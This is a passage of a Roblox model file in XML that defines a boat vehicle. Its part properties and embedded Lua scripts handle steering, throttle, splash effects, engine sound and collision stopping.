							<bool name="Disabled">true</bool>
							<Content name="LinkedSource"><null></null></Content>
							<string name="Name">Script</string>
							<ProtectedString name="Source">bin = script.Parent
VS = bin.VehicleSeat
RTurn = false
LTurn = false
MoveR = false
MoveF = false
NotMoving = true 
engine = script.Parent.Base
position = engine.Velocity
bin.Base.BG.cframe = bin.Base.CFrame

function DirChng()
if VS.Steer == 1 then 
	RTurn = true
		while RTurn do
			bin.Base.BG.cframe = bin.Base.CFrame * CFrame.fromEulerAnglesXYZ(0, -VS.TurnSpeed, 0)
			wait(0.1)
		end
else if VS.Steer == -1 then 
	LTurn = true 
		while LTurn do
			bin.Base.BG.cframe = bin.Base.CFrame * CFrame.fromEulerAnglesXYZ(0, VS.TurnSpeed, 0)
			wait(0.1)
		end
else if VS.Steer == 0 then 
	RTurn = false
	LTurn = false 
end
end
end
end

VS.Changed:connect(DirChng)
</ProtectedString>
						</Properties>
					</Item>
					<Item class="Part" referent="RBX229">
						<Properties>
							<bool name="Anchored">false</bool>
							<bool name="Archivable">true</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">2</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">2</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">24</int>
							<CoordinateFrame name="CFrame">
								<X>-1201</X>
								<Y>0.5</Y>
								<Z>700</Z>
								<R00>-1</R00>
								<R01>0</R01>
								<R02>-0</R02>
								<R10>-0</R10>
								<R11>1</R11>
								<R12>-0</R12>
								<R20>-0</R20>
								<R21>0</R21>
								<R22>-1</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<float name="Elasticity">0</float>
							<token name="FormFactor">0</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">2</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">2</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<string name="Name">Stabilizer</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">2</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<float name="TopParamA">0</float>
							<float name="TopParamB">0</float>
							<token name="TopSurface">6</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0</float>
							<Vector3 name="Velocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>2</X>
								<Y>1</Y>
								<Z>2</Z>
							</Vector3>
						</Properties>
						<Item class="CylinderMesh" referent="RBX230">
							<Properties>
								<bool name="Archivable">true</bool>
								<float name="Bevel">0</float>
								<float name="Bevel Roundness">0</float>
								<float name="Bulge">0</float>
								<token name="LODX">2</token>
								<token name="LODY">2</token>
								<string name="Name">Mesh</string>
								<Vector3 name="Offset">
									<X>0</X>
									<Y>0</Y>
									<Z>0</Z>
								</Vector3>
								<Vector3 name="Scale">
									<X>1</X>
									<Y>1</Y>
									<Z>1</Z>
								</Vector3>
								<Vector3 name="VertexColor">
									<X>1</X>
									<Y>1</Y>
									<Z>1</Z>
								</Vector3>
							</Properties>
						</Item>
						<Item class="BodyGyro" referent="RBX231">
							<Properties>
								<bool name="Archivable">true</bool>
								<float name="D">500</float>
								<string name="Name">Stabilizer</string>
								<float name="P">200</float>
								<CoordinateFrame name="cframe">
									<X>0</X>
									<Y>0</Y>
									<Z>0</Z>
									<R00>1</R00>
									<R01>0</R01>
									<R02>0</R02>
									<R10>0</R10>
									<R11>1</R11>
									<R12>0</R12>
									<R20>0</R20>
									<R21>0</R21>
									<R22>1</R22>
								</CoordinateFrame>
								<Vector3 name="maxTorque">
									<X>8.99999949e+009</X>
									<Y>0</Y>
									<Z>8.99999949e+009</Z>
								</Vector3>
							</Properties>
						</Item>
					</Item>
					<Item class="Script" referent="RBX232">
						<Properties>
							<bool name="Archivable">true</bool>
							<bool name="Disabled">false</bool>
							<Content name="LinkedSource"><null></null></Content>
							<string name="Name">BoatScript</string>
							<ProtectedString name="Source">bin = script.Parent
VS = bin.VehicleSeat
engine = script.Parent.Base
position = engine.Velocity

function SplashF()
		splash = Instance.new(&quot;Part&quot;)
		splash.formFactor = &quot;Symmetric&quot;
		splash.Shape = &quot;Ball&quot;
		splash.TopSurface = 0
		splash.BottomSurface = 0
		splash.BrickColor = BrickColor.new(23)
		splash.Transparency = 0.4
		splash.Size = Vector3.new(1,1,1)
		splash.Anchored = true
		splash.CanCollide = false
		splash.CFrame = bin.Base.CFrame * CFrame.new(0,-0.85,-16)
		splash.Parent = bin

		local wtscr = script.WaterScript:clone()
		wtscr.Disabled = false
		wtscr.Parent = splash

		local mesh = Instance.new(&quot;SpecialMesh&quot;)
		mesh.MeshType = &quot;Sphere&quot;
		mesh.Scale = Vector3.new(16,4,20)
		mesh.Parent = splash
end

function SplashB()
		splash = Instance.new(&quot;Part&quot;)
		splash.formFactor = &quot;Symmetric&quot;
		splash.Shape = &quot;Ball&quot;
		splash.TopSurface = 0
		splash.BottomSurface = 0
		splash.BrickColor = BrickColor.new(23)
		splash.Transparency = 0.4
		splash.Size = Vector3.new(1,1,1)
		splash.Anchored = true
		splash.CanCollide = false
		splash.CFrame = bin.Base.CFrame * CFrame.new(0,-0.85,16)
		splash.Parent = bin

		local wtscr = script.WaterScript:clone()
		wtscr.Disabled = false
		wtscr.Parent = splash

		local mesh = Instance.new(&quot;SpecialMesh&quot;)
		mesh.MeshType = &quot;Sphere&quot;
		mesh.Scale = Vector3.new(16,4,20)
		mesh.Parent = splash
end

while true do

---------------------------------Throttle

	if VS.Throttle == 1 then
		if VS.MaxSpeed &lt; 60 then
			VS.MaxSpeed = VS.MaxSpeed + VS.Torque
		end

		if VS.MaxSpeed &gt; 0 then
			SplashF()
		elseif VS.MaxSpeed &lt; 0 then
			SplashB()
		end

	elseif VS.Throttle == -1 then
		if VS.MaxSpeed &gt; -25 then
			VS.MaxSpeed = VS.MaxSpeed - VS.Torque
		end

		if VS.MaxSpeed &gt; 0 then
			SplashF()
		elseif VS.MaxSpeed &lt; 0 then
			SplashB()
		end

	elseif VS.Throttle == 0 then
		if VS.MaxSpeed &gt;= 1 then
			--VS.MaxSpeed = VS.MaxSpeed - VS.Torque
			SplashF()
		elseif VS.MaxSpeed &lt;= -1 then
			--VS.MaxSpeed = VS.MaxSpeed + VS.Torque
			SplashB()
		end
	end

---------------------------------Steering

	if VS.Steer == 1 then 
		if VS.TurnSpeed &gt; -0.14 then
			VS.TurnSpeed = VS.TurnSpeed - 0.02
		end
	elseif VS.Steer == -1 then 
		if VS.TurnSpeed &lt; 0.14 then
			VS.TurnSpeed = VS.TurnSpeed + 0.02
		end
	elseif VS.Steer == 0 then 
		if VS.TurnSpeed &lt; 0 then
			VS.TurnSpeed = VS.TurnSpeed + 0.02
		elseif VS.TurnSpeed &gt; 0 then
			VS.TurnSpeed = VS.TurnSpeed - 0.02
		end
		if VS.TurnSpeed &lt;= 0.2 and VS.TurnSpeed &gt;= -0.2 then
			VS.TurnSpeed = 0
		end
	end

---------------------------------Application

	bin.Base.BG.cframe = bin.Base.CFrame * CFrame.fromEulerAnglesXYZ(0, VS.TurnSpeed, 0)
	bin.Base.BV.velocity = bin.Base.CFrame.lookVector * VS.MaxSpeed

	wait(0.2)
end

--(C) 2009 Terran Research Commission
</ProtectedString>
						</Properties>
						<Item class="Script" referent="RBX233">
							<Properties>
								<bool name="Archivable">true</bool>
								<bool name="Disabled">true</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">WaterScript</string>
								<ProtectedString name="Source">wait(0.2)
script.Parent.Transparency = 0.5
script.Parent.Mesh.Scale = Vector3.new(       18,	3.8,	22	)
wait(0.2)
script.Parent.Transparency = 0.6
script.Parent.Mesh.Scale = Vector3.new(       22,	3.6,	28	)
wait(0.2)
script.Parent.Transparency = 0.7
script.Parent.Mesh.Scale = Vector3.new(       26,	3.4,	34	)
wait(0.2)
script.Parent.Transparency = 0.8
script.Parent.Mesh.Scale = Vector3.new(       30,	3.2,	40	)
wait(0.2)
script.Parent.Transparency = 0.9
script.Parent.Mesh.Scale = Vector3.new(       34,	3,	46	)
wait(0.2)
script.Parent:remove()
</ProtectedString>
							</Properties>
						</Item>
					</Item>
					<Item class="Part" referent="RBX234">
						<Properties>
							<bool name="Anchored">false</bool>
							<bool name="Archivable">true</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">2</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">2</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">24</int>
							<CoordinateFrame name="CFrame">
								<X>-1207</X>
								<Y>1.5</Y>
								<Z>700</Z>
								<R00>0</R00>
								<R01>0</R01>
								<R02>1</R02>
								<R10>0</R10>
								<R11>-1</R11>
								<R12>0</R12>
								<R20>1</R20>
								<R21>0</R21>
								<R22>0</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">0</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">0</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<string name="Name">Tip</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">0</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">0</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0</float>
							<Vector3 name="Velocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>2</X>
								<Y>1</Y>
								<Z>2</Z>
							</Vector3>
						</Properties>
						<Item class="SpecialMesh" referent="RBX235">
							<Properties>
								<bool name="Archivable">true</bool>
								<token name="LODX">2</token>
								<token name="LODY">2</token>
								<Content name="MeshId"><null></null></Content>
								<token name="MeshType">2</token>
								<string name="Name">Mesh</string>
								<Vector3 name="Offset">
									<X>0</X>
									<Y>0</Y>
									<Z>0</Z>
								</Vector3>
								<Vector3 name="Scale">
									<X>1</X>
									<Y>1</Y>
									<Z>1</Z>
								</Vector3>
								<Content name="TextureId"><null></null></Content>
								<Vector3 name="VertexColor">
									<X>1</X>
									<Y>1</Y>
									<Z>1</Z>
								</Vector3>
							</Properties>
						</Item>
						<Item class="Script" referent="RBX236">
							<Properties>
								<bool name="Archivable">true</bool>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">StopScript</string>
								<ProtectedString name="Source">function Hit(hit)
	if (hit.Parent.Name == &quot;Parts&quot;) then return end -- In case the boat&apos;s gun hits the front
	if (hit.Parent.Name == &quot;Bodykit&quot;) then return end -- In case the boat&apos;s gun hits the front
	if (hit.Parent.Name == &quot;Projectiles&quot;) then return end -- In case the boat&apos;s gun shoots the front
	if (hit.Parent.Name == &quot;Water&quot;) then return end -- Sometimes the front end dips down
	if (hit.CanCollide == false) then return end -- In case the boat hits smoke or water splashes and whatnot
	if (hit.Parent == script.Parent.Parent) then return end -- We don&apos;t want our own wake stopping the boat
	if (hit.Parent:findFirstChild(&quot;Humanoid&quot;) ~= nil) then return end -- We don&apos;t want players jumping onto the front

	script.Parent.Parent.VehicleSeat.MaxSpeed = 0 -- Stop the boat
end

script.Parent.Touched:connect(Hit)

--(C) 2009 Terran Research Commission
</ProtectedString>
							</Properties>
						</Item>
					</Item>
					<Item class="Part" referent="RBX237">
						<Properties>
							<bool name="Anchored">false</bool>
							<bool name="Archivable">true</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">2</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">2</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">26</int>
							<CoordinateFrame name="CFrame">
								<X>-1201</X>
								<Y>1.50000012</Y>
								<Z>700</Z>
								<R00>0</R00>
								<R01>0</R01>
								<R02>1</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>-1</R20>
								<R21>0</R21>
								<R22>0</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">0</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">2</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">2</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<string name="Name">Base</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">2</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">2</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0</float>
							<Vector3 name="Velocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>2</X>
								<Y>1</Y>
								<Z>4</Z>
							</Vector3>
						</Properties>
						<Item class="BlockMesh" referent="RBX238">
							<Properties>
								<bool name="Archivable">true</bool>
								<float name="Bevel">0</float>
								<float name="Bevel Roundness">0</float>
								<float name="Bulge">0</float>
								<token name="LODX">2</token>
								<token name="LODY">2</token>
								<string name="Name">Mesh</string>
								<Vector3 name="Offset">
									<X>0</X>
									<Y>0</Y>
									<Z>0</Z>
								</Vector3>
								<Vector3 name="Scale">
									<X>1</X>
									<Y>1</Y>
									<Z>1</Z>
								</Vector3>
								<Vector3 name="VertexColor">
									<X>1</X>
									<Y>1</Y>
									<Z>1</Z>
								</Vector3>
							</Properties>
						</Item>
						<Item class="Sound" referent="RBX239">
							<Properties>
								<bool name="Archivable">true</bool>
								<bool name="Looped">true</bool>
								<string name="Name">Engine</string>
								<float name="Pitch">6</float>
								<bool name="PlayOnRemove">false</bool>
								<Content name="SoundId"><url>http://www.roblox.com/asset/?id=13510352</url></Content>
								<float name="Volume">1</float>
							</Properties>
						</Item>
						<Item class="Script" referent="RBX240">
							<Properties>
								<bool name="Archivable">true</bool>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">EngineScript</string>
								<ProtectedString name="Source">function OnF()
	script.Parent.Engine.Pitch = (script.Parent.Parent.VehicleSeat.MaxSpeed / 10) + 2.5
	script.Parent.Engine:play()
end

function OnB()
	script.Parent.Engine.Pitch = -(script.Parent.Parent.VehicleSeat.MaxSpeed / 10) + 2.5
	script.Parent.Engine:play()
end

function Off()
	script.Parent.Engine:stop()
end

function Check()
	if script.Parent.Parent.VehicleSeat.MaxSpeed &gt; 0 then
		OnF()
	elseif script.Parent.Parent.VehicleSeat.MaxSpeed &lt; 0 then
		OnB()
	elseif script.Parent.Parent.VehicleSeat.MaxSpeed == 0 then
		Off()
	end
end

script.Parent.Parent.VehicleSeat.Changed:connect(Check)
</ProtectedString>
							</Properties>
						</Item>
						<Item class="BodyGyro" referent="RBX241">
							<Properties>
								<bool name="Archivable">true</bool>
								<float name="D">500</float>
								<string name="Name">BG</string>
								<float name="P">3000</float>
								<CoordinateFrame name="cframe">
									<X>-2</X>
									<Y>6.4000001</Y>
									<Z>1004</Z>
									<R00>1</R00>
									<R01>0</R01>
									<R02>0</R02>
									<R10>0</R10>
									<R11>1</R11>
									<R12>0</R12>
									<R20>0</R20>
									<R21>0</R21>
									<R22>1</R22>
								</CoordinateFrame>
								<Vector3 name="maxTorque">
									<X>0</X>
									<Y>400000</Y>
									<Z>0</Z>
								</Vector3>
							</Properties>
						</Item>
						<Item class="BodyVelocity" referent="RBX242">
							<Properties>
								<bool name="Archivable">true</bool>
								<string name="Name">BV</string>
								<float name="P">1250</float>
								<Vector3 name="maxForce">
									<X>1000000</X>
									<Y>0</Y>
									<Z>1000000</Z>
								</Vector3>
								<Vector3 name="velocity">
									<X>0</X>
									<Y>0</Y>
									<Z>0</Z>
								</Vector3>
							</Properties>
						</Item>
						<Item class="BodyPosition" referent="RBX243">
							<Properties>
								<bool name="Archivable">true</bool>
								<float name="D">1250</float>
								<string name="Name">Hover</string>
								<float name="P">10000</float>
								<Vector3 name="maxForce">
									<X>0</X>
									<Y>INF</Y>
									<Z>0</Z>
								</Vector3>
								<Vector3 name="position">
									<X>0</X>
									<Y>1</Y>
									<Z>0</Z>
								</Vector3>
							</Properties>
						</Item>
					</Item>
					<Item class="Part" referent="RBX244">
						<Properties>
							<bool name="Anchored">false</bool>
							<bool name="Archivable">true</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">2</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">2</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">26</int>
							<CoordinateFrame name="CFrame">
								<X>-1195.5</X>
								<Y>1.50000024</Y>
								<Z>700</Z>
								<R00>0</R00>
								<R01>0</R01>
								<R02>1</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>-1</R20>
								<R21>0</R21>
								<R22>0</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">0</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">2</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">2</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<string name="Name">RearTip</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">2</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">2</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0</float>
							<Vector3 name="Velocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>2</X>
								<Y>1</Y>
								<Z>3</Z>
							</Vector3>
						</Properties>
						<Item class="BlockMesh" referent="RBX245">
							<Properties>
								<bool name="Archivable">true</bool>
								<float name="Bevel">0</float>
								<float name="Bevel Roundness">0</float>
								<float name="Bulge">0</float>
								<token name="LODX">2</token>
								<token name="LODY">2</token>
								<string name="Name">Mesh</string>
								<Vector3 name="Offset">
									<X>0</X>
									<Y>0</Y>
									<Z>0</Z>
								</Vector3>
								<Vector3 name="Scale">
									<X>1</X>
									<Y>1</Y>
									<Z>1</Z>
								</Vector3>
								<Vector3 name="VertexColor">
									<X>1</X>
									<Y>1</Y>
									<Z>1</Z>
								</Vector3>
							</Properties>
						</Item>
						<Item class="Script" referent="RBX246">
							<Properties>
								<bool name="Archivable">true</bool>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">StopScript</string>
								<ProtectedString name="Source">function Hit(hit)
	if (hit.Parent.Name == &quot;Parts&quot;) then return end -- In case the boat&apos;s gun hits the front
	if (hit.Parent.Name == &quot;Bodykit&quot;) then return end -- In case the boat&apos;s gun hits the front
	if (hit.Parent.Name == &quot;Projectiles&quot;) then return end -- In case the boat&apos;s gun shoots the front
	if (hit.Parent.Name == &quot;Water&quot;) then return end -- Sometimes the front end dips down
	if (hit.CanCollide == false) then return end -- In case the boat hits smoke or water splashes and whatnot
	if (hit.Parent == script.Parent.Parent) then return end -- We don&apos;t want our own wake stopping the boat
	if (hit.Parent:findFirstChild(&quot;Humanoid&quot;) ~= nil) then return end -- We don&apos;t want players jumping onto the front

	script.Parent.Parent.VehicleSeat.MaxSpeed = 0 -- Stop the boat
end

script.Parent.Touched:connect(Hit)

--(C) 2009 Terran Research Commission
</ProtectedString>
							</Properties>
						</Item>
					</Item>
					<Item class="Part" referent="RBX247">
						<Properties>
							<bool name="Anchored">false</bool>
							<bool name="Archivable">true</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">2</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">2</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">24</int>
							<CoordinateFrame name="CFrame">
								<X>-1196</X>
								<Y>0.500000238</Y>
								<Z>700</Z>
								<R00>-1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>-0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>-1</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<float name="Elasticity">0</float>
							<token name="FormFactor">0</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">2</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">2</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<string name="Name">Stabilizer</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">2</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<float name="TopParamA">0</float>
							<float name="TopParamB">0</float>
							<token name="TopSurface">6</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0</float>
							<Vector3 name="Velocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>2</X>
								<Y>1</Y>
								<Z>2</Z>
							</Vector3>
						</Properties>
						<Item class="CylinderMesh" referent="RBX248">
							<Properties>
								<bool name="Archivable">true</bool>
								<float name="Bevel">0</float>
								<float name="Bevel Roundness">0</float>
								<float name="Bulge">0</float>
								<token name="LODX">2</token>
								<token name="LODY">2</token>
								<string name="Name">Mesh</string>
								<Vector3 name="Offset">
									<X>0</X>
									<Y>0</Y>
									<Z>0</Z>
								</Vector3>
								<Vector3 name="Scale">
									<X>1</X>
									<Y>1</Y>
									<Z>1</Z>
								</Vector3>
								<Vector3 name="VertexColor">
									<X>1</X>
									<Y>1</Y>
									<Z>1</Z>
								</Vector3>
							</Properties>
						</Item>
						<Item class="BodyGyro" referent="RBX249">
							<Properties>
								<bool name="Archivable">true</bool>
								<float name="D">500</float>
								<string name="Name">Stabilizer</string>
								<float name="P">200</float>
								<CoordinateFrame name="cframe">
									<X>0</X>
									<Y>0</Y>
									<Z>0</Z>
									<R00>1</R00>
									<R01>0</R01>
									<R02>0</R02>
									<R10>0</R10>
									<R11>1</R11>
									<R12>0</R12>
									<R20>0</R20>
									<R21>0</R21>
									<R22>1</R22>
								</CoordinateFrame>
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								<bool name="Anchored">false</bool>
								<bool name="Archivable">true</bool>
								<float name="BackParamA">-0.5</float>
								<float name="BackParamB">0.5</float>
								<token name="BackSurface">2</token>
								<token name="BackSurfaceInput">0</token>
								<float name="BottomParamA">-0.5</float>
								<float name="BottomParamB">0.5</float>
								<token name="BottomSurface">2</token>
								<token name="BottomSurfaceInput">0</token>
								<int name="BrickColor">199</int>
								<CoordinateFrame name="CFrame">
									<X>-1194.5</X>
									<Y>0.500000238</Y>
									<Z>700</Z>
									<R00>-0</R00>
									<R01>-1</R01>
									<R02>-0</R02>
									<R10>-0</R10>
									<R11>-0</R11>
									<R12>-1</R12>
									<R20>1</R20>
									<R21>0</R21>
									<R22>0</R22>
								</CoordinateFrame>
								<bool name="CanCollide">true</bool>
								<float name="Elasticity">0</float>
								<token name="FormFactor">0</token>
								<float name="Friction">0.300000012</float>
								<float name="FrontParamA">-0.5</float>
								<float name="FrontParamB">0.5</float>
								<token name="FrontSurface">2</token>
								<token name="FrontSurfaceInput">0</token>
								<float name="LeftParamA">-0.5</float>
								<float name="LeftParamB">0.5</float>
								<token name="LeftSurface">2</token>
								<token name="LeftSurfaceInput">0</token>
								<bool name="Locked">false</bool>
								<token name="Material">256</token>
								<string name="Name">Part</string>
								<float name="Reflectance">0</float>
								<float name="RightParamA">-0.5</float>
								<float name="RightParamB">0.5</float>
								<token name="RightSurface">2</token>
								<token name="RightSurfaceInput">0</token>
								<Vector3 name="RotVelocity">
									<X>0</X>
									<Y>0</Y>
									<Z>0</Z>
								</Vector3>
								<float name="TopParamA">-0.5</float>
								<float name="TopParamB">0.5</float>
								<token name="TopSurface">2</token>
								<token name="TopSurfaceInput">0</token>
								<float name="Transparency">0</float>
								<Vector3 name="Velocity">
									<X>0</X>
									<Y>0</Y>
									<Z>0</Z>
								</Vector3>
								<token name="shape">1</token>
								<Vector3 name="size">
									<X>2</X>
									<Y>1</Y>
									<Z>1</Z>
								</Vector3>
							</Properties>
							<Item class="CylinderMesh" referent="RBX312">
								<Properties>
									<bool name="Archivable">true</bool>
									<float name="Bevel">0</float>
									<float name="Bevel Roundness">0</float>
									<float name="Bulge">0</float>
									<token name="LODX">2</token>
									<token name="LODY">2</token>
									<string name="Name">Mesh</string>
									<Vector3 name="Offset">
										<X>0</X>
										<Y>0</Y>
										<Z>0</Z>
									</Vector3>
									<Vector3 name="Scale">
										<X>1</X>
										<Y>2.20000005</Y>
										<Z>0.200000003</Z>
									</Vector3>
									<Vector3 name="VertexColor">
										<X>1</X>
										<Y>1</Y>
										<Z>1</Z>
									</Vector3>
								</Properties>
							</Item>
						</Item>
					</Item>
					<Item class="VehicleSeat" referent="RBX313">
						<Properties>
							<bool name="Anchored">false</bool>
							<bool name="Archivable">true</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">0</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">2</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">1003</int>
							<CoordinateFrame name="CFrame">
								<X>-1198.5</X>
								<Y>2.10000014</Y>
								<Z>700</Z>
								<R00>-0</R00>
								<R01>0</R01>
								<R02>1</R02>
								<R10>-0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>-1</R20>
								<R21>0</R21>
								<R22>0</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<float name="Elasticity">0.5</float>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<bool name="HeadsUpDisplay">true</bool>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">0</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<float name="MaxSpeed">0</float>
							<string name="Name">VehicleSeat</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">0</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<int name="Steer">0</int>
							<int name="Throttle">0</int>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">0</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Torque">1</float>
							<float name="Transparency">0</float>
							<float name="TurnSpeed">0</float>
							<Vector3 name="Velocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<Vector3 name="size">
								<X>2</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
						</Properties>
						<Item class="BlockMesh" referent="RBX314">
							<Properties>
								<bool name="Archivable">true</bool>
								<float name="Bevel">0</float>
								<float name="Bevel Roundness">0</float>
								<float name="Bulge">0</float>
								<token name="LODX">2</token>
								<token name="LODY">2</token>
